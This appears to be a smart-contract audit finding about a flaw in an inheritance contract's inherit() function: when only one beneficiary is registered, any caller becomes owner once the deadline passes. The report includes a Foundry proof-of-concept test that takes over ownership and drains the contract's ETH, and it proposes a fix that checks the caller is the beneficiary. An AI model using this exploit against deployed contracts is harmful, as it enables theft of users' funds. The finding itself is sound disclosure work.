Summary
The inherit()
function contains a vulnerability where if there is only one beneficiary, the first caller to execute the function becomes the owner. This allows an attacker to call inherit()
before the legitimate benefactor, claim ownership, and drain the contract’s funds.
Vulnerability Details
The function does not properly verify that the caller is the intended heir. The issue is only exploitable when there is exactly one beneficiary because:
The contract checks if inheritance conditions are met (that the deadline has passed).
The first caller becomes the new owner, even if they are not the rightful heir.
Once the attacker becomes the owner, they can withdraw all funds by calling the sendETH()
and sendERC20()
functions.
This vulnerability is made possible through the msg.sender
function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
>>> owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}
Proof of Concept (PoC)
function test_HijackInheritanceForOneBeneficiary() public {
address user2 = makeAddr("user2")
vm.startPrank(owner);
im.addBeneficiery(user1);
vm.stopPrank();
vm.warp(1);
vm.deal(address(im), 10e10);
vm.warp(1 + 90 days);
console.log("Contract balance: ", address(im).balance);
console.log("User2 balance Before Inherit: ", user2.balance);
vm.startPrank(user2);
im.inherit();
im.sendETH(address(im).balance, user2);
vm.stopPrank();
console.log("User2 balance After Inherit: ", user2.balance);
console.log("Contract after: ", address(im).balance);
assertEq(user2, im.getOwner());
}
Result
Ran 1 test for test/InheritanceManagerTest.t.sol:InheritanceManagerTest
[PASS] test_HijackInheritanceForOneBeneficiary() (gas: 138384)
Logs:
Contract balance: 100000000000
User2 balance Before Inherit: 0
User2 balance After Inherit: 100000000000
Contract after: 0
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.61ms (1.11ms CPU time)
Impact
Loss of contract ownership: The attacker permanently takes control.
Complete loss of funds: The attacker can withdraw everything.
Breaks inheritance logic: The rightful heir may never receive funds.
Tools Used
Founry and manual review
Recommendations
The inherit()
function should be modified to check if the caller is actually the registered beneficiary:
function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
if (msg.sender != beneficiaries[0]) {
revert NotBeneficiary(msg.sender);
}
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}